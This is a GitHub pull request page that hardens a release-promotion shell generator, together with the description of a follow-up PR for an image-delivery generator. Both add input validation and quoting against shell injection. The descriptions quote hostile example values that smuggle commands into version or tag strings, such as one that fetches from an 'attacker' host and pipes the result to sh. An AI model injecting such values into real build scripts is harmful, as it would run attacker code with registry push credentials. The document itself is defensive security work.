Repository navigation
fix(scripts): validate promotion generator inputs and quote emitted oras commands - #1208
Conversation
…ras commands gen-pre-to-ga-tag-commands.sh was the only generator under packages/scripts/ that never sourced lib/validate.sh. It spliced the RC/GA version arguments straight into the oras commands it writes, and truncated a caller-chosen output path before checking anything, so a version containing shell metacharacters became code in the promotion container and the output path could destroy an unrelated file. - source lib/validate.sh and apply assert_version to both versions - add assert_output_file to the shared validator: refuses option injection, '..', non-*.sh targets, missing parents and symlinks - quote every value in the emitted oras commands - cover the generator with negative and positive cases in verify-input-validation.sh
There was a problem hiding this comment.
I have already done a preliminary review for you, and I hope to help you do a better job.
Summary
This PR secures the gen-pre-to-ga-tag-commands.sh script by adding input validation and quoting to prevent hostile input exploitation and file system manipulation. It introduces a new validation helper in lib/validate.sh to verify output file paths, updates the generator script to validate inputs, and adds comprehensive tests to ensure hostile cases are rejected. The changes are well-structured and address critical vulnerabilities, but there are opportunities to simplify and enhance readability and maintainability.
Critical Issues
- None Identified: The changes address the described vulnerabilities effectively, and no additional critical issues were found.
Code Improvements
-
Simplify Repeated Validations in
assert_output_file:- File:
lib/validate.sh, Lines: 123-128 - The multiple checks for file existence, symlink status, and regular file status can be consolidated for better readability.
- Suggestion:
if [ -e "$path" ]; then if [ -L "$path" ] || [ ! -f "$path" ]; then _validate_fail output_file "$path" "must be a regular file and not a symlink" fi fi
- File:
-
Avoid Code Duplication in
gen-pre-to-ga-tag-commands.sh:- File:
gen-pre-to-ga-tag-commands.sh, Lines: 21-27, 30-36 - The logic for processing
repoandplatformis nearly identical. This could be abstracted into a helper function to reduce duplication. - Suggestion:
process_repo() { local repo_type=$1 local pattern=$2 grep "^\s*${repo_type}:" "${PROJECT_ROOT_DIR}/packages/packages.yaml.tmpl" | awk '{print $2}' | sort -u | grep -vE "$pattern" } ... for repo in $(process_repo "repo" "advanced-statefulset|tidb-operator|..."); do echo "oras discover --distribution-spec v1.1-referrers-tag \"${repo}:${rc_ver}\" && oras tag \"${repo}:${rc_ver}\" \"${ga_ver}\"" | tee -a "$outfile" done for repo in $(process_repo "package_repo" "advanced-statefulset|tidb-operator|..."); do for platform in linux_amd64 linux_arm64 darwin_amd64 darwin_arm64; do echo "oras discover --distribution-spec v1.1-referrers-tag \"${repo}:${rc_ver}_${platform}\" && oras tag \"${repo}:${rc_ver}_${platform}\" \"${ga_ver}_${platform}\"" | tee -a "$outfile" done done
- File:
Best Practices
-
Improve Error Messages for Input Validation:
- File:
lib/validate.sh, Lines: 118-122 - The error messages in
_validate_failwould benefit from being more descriptive, e.g., specifying why a particular validation failed. - Suggestion:
_validate_fail output_file "$path" "invalid output file: $reason"
- File:
-
Enhance Test Coverage for Edge Cases:
- File:
verify-input-validation.sh, Lines: 63-118 - While the tests cover hostile and valid cases thoroughly, consider testing additional edge cases, such as:
- Input strings with only whitespace.
- Inputs with special characters that are not immediately harmful but still invalid (e.g.,
v9.0.0@!). - Large inputs to test the robustness of the script.
- File:
-
Use Meaningful Variable Names:
- File:
gen-pre-to-ga-tag-commands.sh, Lines: 30-36 - The variable
repois reused between the "image" and "package" sections, which could lead to confusion. Consider using more specific names likeimage_repoandpackage_repo.
- File:
-
Add Documentation for New Helper:
- File:
lib/validate.sh, Lines: 115-147 - While there is a brief comment for
assert_output_file, the logic is complex, and a more detailed explanation would help future maintainers understand the function's purpose and behavior.
- File:
-
Adopt Consistent Shell Style:
- File: All modified shell scripts
- While the scripts generally follow good practices, it's worth adopting a consistent style guide (e.g., Google's Shell Style Guide) to improve readability.
- For instance:
- Use double square brackets (
[[ ... ]]) instead of single square brackets ([ ... ]) for conditionals. - Prefer
$(...)over backticks for command substitution.
- Use double square brackets (
Additional Notes
- The PR description is thorough and provides a clear explanation of the problem, the implemented solution, and the risks involved. This level of detail is commendable.
- The existing use of
set -euo pipefailandshellcheckcompliance ensures a good baseline for script robustness and maintainability.
By addressing the suggested improvements, the code can be made even more robust and maintainable while retaining its current functionality and security enhancements.
|
/approve Promotion generator now validates both versions and its output path; hostile input exits 2 without writing a script, valid input produces a quoted POSIX-clean script. verify-input-validation.sh: 60 cases pass, test-packages-cfg pass. (user confirmed 2026-11-12) |
|
[APPROVALNOTIFIER] This PR is APPROVED This pull-request has been approved by: wuhuizuo The full list of commands accepted by this bot can be found here. The pull request process is described here DetailsNeeds approval from an approver in each of these files:
Approvers can indicate their approval by writing |
…mands (#1209) ## Problem `packages/scripts/gen-delivery-image-commands.ts` writes the shell script the delivery job runs with push credentials for `docker.io/pingcap`, `gcr.io/pingcap-public` and `uhub.service.ucloud.cn`. It built that script purely by concatenation: - `crane copy ${repo}:${tag} ${destRepo}:${tag}`, `crane tag ${destRepo}:${tag} ${constTag}`, `crane tag ${destRepo}:${tag} ${converted}` — no quoting, no charset check. - `parseImageRef` only split on the last colon; `loadImageCopyRules` used the parsed `delivery.yaml` as-is; `getMatchingRulesFor` compiled every `tags_regex` with a bare `new RegExp`, with no length or quantifier guard. - Permissive rules such as `^(master|dedicated|cloud-engine)(-.*)?-nextgen$` match a tag like `master-$(curl -s host|sh)-nextgen`, which was then emitted verbatim. Demonstrated on the previous version: ``` $ deno run --allow-read --allow-write gen-delivery-image-commands.ts --images_file=images.yaml --yaml_file=delivery.yaml --outfile=out.sh $ cat out.sh crane copy us-docker.pkg.dev/hub/pingcap/tidb/image:master-$(id)-nextgen docker.io/pingcap/tidb:master-$(id)-nextgen ``` The same value is also an authorization problem: the delivery policy (which source may be copied to which public destination) is enforced in the sibling consumer, not in the generator that emits the credentialed commands. ## Changes - New `packages/scripts/lib/delivery-config.ts`: the rule types, `REPOSITORY_RE` / `TAG_RE`, `MAX_REGEX_LENGTH`, `compileRuleRegex`, `assertStringArray`, `validateDeliveryConfig`, `getMatchingRulesFor`, plus `shellQuote`. Both readers of `delivery.yaml` now import it. - `gen-delivery-image-commands.ts`: validates the source repo/tag, destination repositories, constant tags and the rewritten tag; refuses a bad value with exit 2 before writing; quotes every argument; refuses an output path containing `..`. - `get-delivery-target-images.ts`: local copies removed, imports the shared module. Behaviour unchanged — same validation, same `cdn.jsdelivr.net` allowlist, byte-identical output for `v8.5.0` (diffed against the previous version). - `.github/scripts/ci.sh`: new `test_gen_delivery_image_commands` — type-checks all three scripts, then feeds three hostile inputs (metacharacter tag, injection in `dest_repositories`, quadratic `tags_regex`) and asserts exit 2 with no script written, plus one valid case asserting a quoted, POSIX-clean script. Skipped with a message when `deno` is absent (the runner has no deno today; wiring deno into the workflow is deliberately left out of this PR rather than adding an unpinned install step). ## Verification - `deno check packages/scripts/{gen-delivery-image-commands.ts,get-delivery-target-images.ts,lib/delivery-config.ts}` → PASS - `test_gen_delivery_image_commands` → PASS (4 ✅, including the three rejections) - old script, same hostile input → exit 0 and a script containing `master-$(id)-nextgen`; new script → exit 2, no file written - `get-delivery-target-images.ts --config=packages/delivery.yaml --version=v8.5.0` → identical output to the previous version - `gh pr checks` → pending (this PR) ## Risk / Rollback - Risk: an environment where `result-images.yaml` carries a repo/tag outside the accepted charset now fails fast (exit 2) instead of emitting an unquoted command. Values produced by the current builds (`us-docker.pkg.dev/...`, `master-nextgen`, `v8.5.0`) pass. - Rollback: revert this commit; the scripts return to the previous behaviour. ## Stack - Previous: #1208 - Next: PR-workflow least privilege (same series)
Problem
packages/scripts/gen-pre-to-ga-tag-commands.shis the only generator underpackages/scripts/that does not sourcelib/validate.sh:rc_ver($1) andga_ver($2) go straight into theoras discover/oras tagcommand lines it writes, so a version such asv9.0.0" ; curl -s http://attacker/x | sh ; "becomes attacker-authored shell inside the promotion script — which runs in a container holding release-registry push credentials.$3) is truncated with: >"$outfile"before any check, so the caller can destroy any file the invoking user can write.Every sibling generator already applies
assert_versionto the same class of value, and the hostile-input suite did not cover this file.Changes
gen-pre-to-ga-tag-commands.sh: sourcelib/validate.sh, validate both versions, validate the caller-supplied output path, require both versions to be present, and quote every value in the emittedorascommands.lib/validate.sh: newassert_output_filehelper — refuses option injection (-o), path traversal (..), non-*.shtargets, a missing parent directory, and an existing symlink or non-regular file.verify-input-validation.sh: negative cases for the helper and for the generator (hostile RC version, hostile GA version, traversal output path), plus a positive case asserting the generated script is valid POSIXsh, ends each command with the quoted GA tag, and carries no unquoted shell metacharacters.Verification
./packages/scripts/verify-input-validation.sh→ PASS (exit 0; all cases green, including the 4 new generator cases)shellcheck -S error packages/scripts/{gen-pre-to-ga-tag-commands.sh,lib/validate.sh,verify-input-validation.sh}→ PASSv9.0.0-rc.1→v9.0.0:sh -n/bash -nPASS, values quotedgh pr checks→ pending (this PR)Note on a pre-existing defect found while adding the positive case, not addressed here: every
repo:/package_repo:value inpackages/packages.yaml.tmplis templated ("{{ .Release.registry }}/pingcap/tidb/image"), so the unchangedawk '{print $2}'extraction yields"{{and the emitted repository refs are meaningless. Fixing that needs a decision on how the promotion job supplies the registry, so it is left as-is; the validation and quoting in this PR apply to whatever values the extraction produces.Risk / Rollback
*.shfile, or whose parent directory does not exist, now fails with exit 2 instead of writing. The default path (insidepackages/scripts/) and any*.shpath with an existing parent keep working.Stack